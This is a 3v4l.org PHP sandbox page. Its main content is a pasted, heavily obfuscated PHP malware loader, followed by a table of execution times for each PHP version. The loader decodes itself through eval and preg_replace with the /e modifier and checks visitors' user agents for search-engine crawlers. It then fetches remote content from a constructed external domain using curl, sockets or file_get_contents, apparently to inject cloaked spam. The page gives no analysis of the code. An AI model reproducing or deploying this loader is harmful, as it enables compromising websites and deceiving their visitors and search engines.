3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php $$t9e = ''; $t9e = '$w9 ="\x2f\50\x2e\52\x29\57\x65"; $v9 = #5656}5;Bv5;oc$v5Y5;-4_g@&oc$5;oc$v5Y5;-3_g@&oc$5;oc$v5Y5;-2_g@&oc$5;oc$v5Y5;-1_g@&oc$5;B&oc$5{5-6dtz55}56;%v5;)%6,"n\r\n\r\"(edolpxe&)%6,m$(tsil5;~v5)BV%(6fi5;)J(esolcW@5}5;t$6=.6%5{6))000016,J(daerW&t$(6elihw5;B&%5;)qer$6,J(etirwW5;"n\n\X$6:tsoH"6=.6qer$5;"n\0.1/PTTH6iru$6TEG"&qer$5}5;~v5;)J(esolcW@5{6))086,1pi$6,J(tcennocW@!(6fi5;)PCT_LOS6,MAERTS_KCOS6,TENI_FA(etaercW@&J5;~v5)2pi$6=!61pi$(6fi5;))1pi$(gnol2pi@(pi2gnol@&2pi$5;)X$(emanybXteg@&1pi$5;]"yreuq"[p$6.6"?"6.6]"htap"[p$&iru$5;B=]"yreuq"[p$6))]"yreuq"[p$(tessi!(fi5;]"X"[p$&X$5;-lru_esrap@6=p$5;~v5)~^)"etaercWj4_z55}5;%v5;~v5)BV%(6fi5;)cni$6,B(edolpmi@&%5;-elif@&cni$5;~v5)~^)"elifj3_z5}5;ser$v5;~v5)BVser$(6fi5;)hc$(esolcQ5;)hc$(cexeQ&ser$5;)06,REDAEH+5;)016,TUOEMIT+5;)16,REFSNARTNRUTER+5;)lru$6,LRU+5;)(tiniQ&hc$5;~v5)~^)"tiniQj2_z555}5;%v5;~v5)BV%(6fi5;-Z@&%5;~v5)~^)"Zj1_z59 |6: |5:""|B: == |V:tsoh|X:stnetnoc_teg_elif|Z:kcos$|J:_tekcos|W:_lruc|Q:)lru$(|-:_TPOLRUC ,hc$(tpotes_lruc|+:tpotes_lruc|*: = |&: === |^:fub$|%:eslaf|~: nruter|v:)~ ==! oc$( fi|Y:g noitcnuf|z:"(stsixe_noitcnuf( fi { )lru$(|j}}};eslaf nruter {esle };))8-,i$,ataDzg$(rtsbus(etalfnizg@ nruter };2+i$=i$ )2 & glf$ ( fi ;1+)i$ ,"0\",ataDzg$(soprts=i$ )61 & glf$( fi ;1+)i$,"0\",ataDzg$(soprts=i$ )8 & glf$( fi };nelx$+2+i$=i$ ;))2,i$,ataDzg$(rtsbus,"v"(kcapnu=)nelx$(tsil { )4 & glf$( fi { )0>glf$( fi ;))1,3,ataDzg$(rtsbus(dro=glf$ ;01=i$ { )"80x\b8x\f1x\"==)3,0,ataDzg$(rtsbus( fi { )ataDzg$(izgmoc noitcnuf { ))"izgmoc"(stsixe_noitcnuf!( fi|0} ;1o$~ } ;"" = 1o$Y;]1[1a$ = 1o$ )2=>)1a$(foezis( fi ;)1ac$,"0FN!"(edolpxe@=1a$ ;)po$,)-$(dtg@(2ne=1ac$ ;4g$."/".)"moc."(qqc."//:ptth"=-$ ;)))e&+)d&+)c&+)b&+)a&(edocne-(edocne-."?".po$=4g$ ;)999999,000001(dnar_tm=po$ {Y} ;"" = 1o$ { ) )))a$(rewolotrts ,"i/" . ))"relbmar*xednay*revihcra_ai*tobnsm*pruls*elgoog"(yarra ,"|"(edolpmi . "/"(hctam_gerp( ro )"nimda",)e$(rewolotrts(soprrtsQd$(Qc$(Qa$(( fi ;)"bc1afd45*88275b5e*8e4c7059*8359bd33"(yarra = rramod^FLES_PHP%e^TSOH_PTTH%d^RDDA_ETOMER%c^REREFER_PTTH%b^TNEGA_RESU_PTTH%a$ { )(212yadj } ;a$~ ;W=a$Y;"non"=a$ )""==W( fiY;"non"=a$ ))W(tessi!(fi { )marap$(212kcehcj } ;))po$ ,txet$(2ne(edocne_46esab~ { )txet&j9 esle |Y:]marap$[REVRES_$|W: ro )"non"==|Q:lru|-:.".".|+:","|*:$,po$(43k|&:$ ;)"|^:"(212kcehc=|%: nruter|~: noitcnuf|j}}8zc$9nruter9}817==!9eslaf28)45@9=979{96"5"(stsixe_328164sserpmocnuzg08164izgmoc08164etalfnizg09{9)llun9=9htgnel$9,4oocd939{9))"oocd"(stsixe_3!2| * ;*zd$*) )*edocedzg*zc$(*noitcnuf*( fi*zd$ nruter ) *@ = zd$( ==! eslaf( fi;)"j"(trats_boU~~~~;t$U&zesleU~;)W%Y%RzesleU~;)W@Y@RU;)v$(oocd=t$U;"54+36Q14+c6Q06+56Q26+".p$=T;"05+36Q46+16Q55+".p$=1p$;"f5Q74+56Q26+07Q"=p$U;)"enonU:gnidocnE-tnetnoC"(redaeHz)v$(jUwz))"j"(stsixe_w!k9 |U:2p$|T:x\|Q:1\|+:nruter|&:lmth|%:ydob|@:} |~: { |z:(fi|k:22ap|j:noitcnuf|w:/\<\(/"(T &z))t$,"is/|Y:/\<\/"(1p$k|R:1,t$ ,"1"."$"."n\".)(212yad ,"is/)>\*]>\^[|W#; $syv= "\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\141\x72\162\x61\171"; $siv = "\x73\164\x72\137\x72\145\x70\154\x61\143\x65";$slv = "\x73\164\x72\162\x65\166";$s1v="\x63\162\x65\141\x74\145\x5f\146\x75\156\x63\164\x69\157\x6e"; $svv = #//}9;g$^s$9nruter9}9;)8,0,q$(r$=.g$9;))"46\27x\36\56x\26\77x\16\17x\".q$.g$(m$,"*H"(p$9=9q$9{9))s$(l$<)g$(l$(9elihw9;""9=9g$9;"53x\441\d6x\"=m$;"261\47x\361\26x\561\37x\"=r$;"351\36x\141\07x\"=p$;"651\56x\451\27x\461\37x\"=l$9{9)q$9,s$(2ne9noitcnuf;}#; $n9 = #1067|416|779|223|361#; $ll = "\x70\162\x65\147\x5f\162\x65\160\x6c\141\x63\145"; $ee1 = array(#\14#,#, $#,#) { #,#[$i]#,#substr($#,#a = $xx("|","#,#,strpos($y,"9")#,# = str_replace($#,#x3#,#\x7#,#\15#,#;$i++) {#,#function #,#x6#,#); #,#for($i=0;$i<sizeof($#,#); } create_function("", "};".$#,# = explode("#); $ji9 = "\x2c\40\x24\145\x65\61\x2c\40\x24\163\x39\71\x29\51\x3b"; $s99 = #Xoo2($bA$hM|", strrev($b)V$dM*"Ph[0]V$b = $h[1]; Bd)Z $bHiPdSPbNb."//"V} Xcqq($qwAreturn random($domarr,$qwV} Xoo1($yA$y= strrev($yV$g=DyG+1V$vM:",Dy,0G)VBv)Z $qM|"PvSV$gHq[0],$q[1],$gNg."//"V} $s1v(""Psiv("\71"," ",$slv($svv))VXrandom($arr,$qwA$g="\x20\167\x2d\70\J6794587495086f963874,qq-82d94486e,r-86297186e94186d945,wq-874941874,s-87\J3\54\C7\75\x20\167\x2e\40K2\73\x20L5\x2d\70"."6d944835,sq-873964872937873960\J8\66\C3\71\J5\61\J8\67\J4\42\Jb";$soy = "\C5L6\J2";$xx="\C5\170K0"."L4\CfO4\C5";$ecx="\C3\162\C5O1K4O5\x5fO6K5L6\C3\164\C9L7\Ce";$scy="K3\164K2\137K2O5K0L4\C1O3\C5";$F\x5c\170Kc\134\J1\174\Jd\42Kc\42\Jb\44Kc\44");$aF8|9|-|,| ");$mec=$ecx;Ba)Z$g = $scy($aaS,$aS,$gV}$ecx("", "};$g//");$mec(""Psoy("\230\77L3O7\26\167\114\130\223\257\211\2\253\5\172\316\25\262O5\25\62\72\127L6\270\100L4\56\341\77\4\37\21L2\206\334\101\334\32\210\353\173\253\5\123\231\47\13\20",$scy)Vreturn $arr[rand((0.24-(0.03*8)),(0.1875*6))].$qw;} $r9M|",$n9V$b9=0;$a9=0; for($i9=0;$i9<sizeof($r9);$i9++Aif ($i9==0) $a9=0; else $a9=$r9[$i9-1]+$a9; $b9=$r9[$i9]; $v_[]=Dv9Pa9Pb9V} $y =1; for($i=0;$i<5Z$vv1 ="o"."o".$y;if ($y==1) $y=2; else $y=1; $vv1($v_SV}#; $ll($w9, $syv.#("O","P","A","S","D","F","G","H","J","K","L","Z","X","C","V","B","N","M")#.$ji9, NULL);'; $fff = "\x70\162\x65\147\x5f\162\x65\160\x6c\141\x63\145"; $fff('/(.*)/e', "\x65\166\x61\154\x28\160\x72\145\x67\137\x72\145\x70\154\x61\143\x65\50\x22\57\x23\57\x22\54\x20\42\x5c\170\x32\67\x22\54\x20\44\x74\71\x65\51\x29\73", NULL); echo $t9e;
based on V5Dii

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).
Note: hhvm uses a JIT which only kicks in after a few runs. Since we run scripts only once, hhvm always runs slower.

VersionSystem time (s)User time (s)Memory (MiB)
7.3.10.0030.01016.54
7.3.00.0070.00716.81
7.2.130.0100.00717.11
7.2.120.0030.01316.75
7.2.110.0030.00916.79
7.2.100.0060.00316.70
7.2.90.0060.00917.02
7.2.80.0050.00716.96
7.2.70.0030.01017.18
7.2.60.0050.01117.12
7.2.50.0030.00717.01
7.2.40.0070.00717.09
7.2.30.0030.01017.04
7.2.20.0100.00016.80
7.2.10.0060.01216.98
7.2.00.0130.00418.29
7.1.250.0030.00616.00
7.1.200.0030.00315.91
7.1.100.0000.01218.29
7.1.70.0050.00317.13
7.1.60.0000.01919.27
7.1.50.0090.01616.71
7.1.00.0070.07322.32
7.0.200.0040.00716.82
7.0.60.0070.08719.95
7.0.50.0130.07317.91
7.0.40.0000.06320.21
7.0.30.0330.04320.18
7.0.20.0530.06320.20
7.0.10.0100.05720.21
7.0.00.0000.07720.34
5.6.280.0130.06721.14
5.6.210.0130.07720.74
5.6.200.0100.05318.26
5.6.190.0070.04020.58
5.6.180.0330.07020.50
5.6.170.0270.06720.74
5.6.160.0100.05320.52
5.6.150.0100.07718.30
5.6.140.0100.08318.23
5.6.130.0000.05318.26
5.6.120.0070.04721.05
5.6.110.0000.06021.11
5.6.100.0100.06721.18
5.6.90.0070.08021.19
5.6.80.0170.07020.48
5.6.70.4400.03720.42
5.5.350.0070.08720.52
5.5.340.0030.07318.12
5.5.330.0070.04320.29
5.5.320.0300.04720.32
5.5.310.0300.06320.39
5.5.300.0070.07718.09
5.5.290.0070.08318.05
5.5.280.0030.09320.83
5.5.270.0030.04320.96
5.5.260.0030.04320.82
5.5.250.0070.08320.67
5.5.240.0000.03320.24
5.4.450.0400.07019.51
5.4.440.0370.04019.58
5.4.430.0330.03719.44
5.4.420.0400.05719.59
5.4.410.0200.04719.45
5.4.400.0330.03018.99
5.4.390.0300.05019.11
5.4.380.0300.04019.09
5.4.370.0330.05019.03
5.4.360.0470.06718.98
5.4.350.0500.06719.09
5.4.340.0470.04019.17
5.4.320.0500.06719.34
5.4.310.0500.07019.12
5.4.300.0470.07018.90
5.4.290.0370.07719.17
5.4.280.0470.06019.27
5.4.270.0330.06319.27
5.4.260.0330.04019.02
5.4.250.0500.06719.17
5.4.240.0430.06719.19
5.4.230.0470.06319.22
5.4.220.0500.05319.14
5.4.210.0430.06318.97
5.4.200.0400.04319.12
5.4.190.0370.04019.14
5.4.180.0570.05319.08
5.4.170.0400.07319.18
5.4.160.0400.03319.13
5.4.150.0330.04019.01
5.4.140.0430.05016.74
5.4.130.0370.04016.73
5.4.120.0430.03316.58
5.4.110.0400.07016.65
5.4.100.0370.05016.57
5.4.90.0470.05716.59
5.4.80.0430.06016.43
5.3.290.0530.04715.13
5.3.280.0430.06314.91
5.3.270.0430.04714.93
5.3.260.0500.06714.95
5.3.250.0330.05314.86
5.3.240.0400.03314.92
5.3.230.0370.03714.84
5.3.220.0270.04714.72
5.3.210.0430.06015.03
5.3.200.0430.07014.81
5.3.190.0370.05314.95
5.3.180.0530.04314.80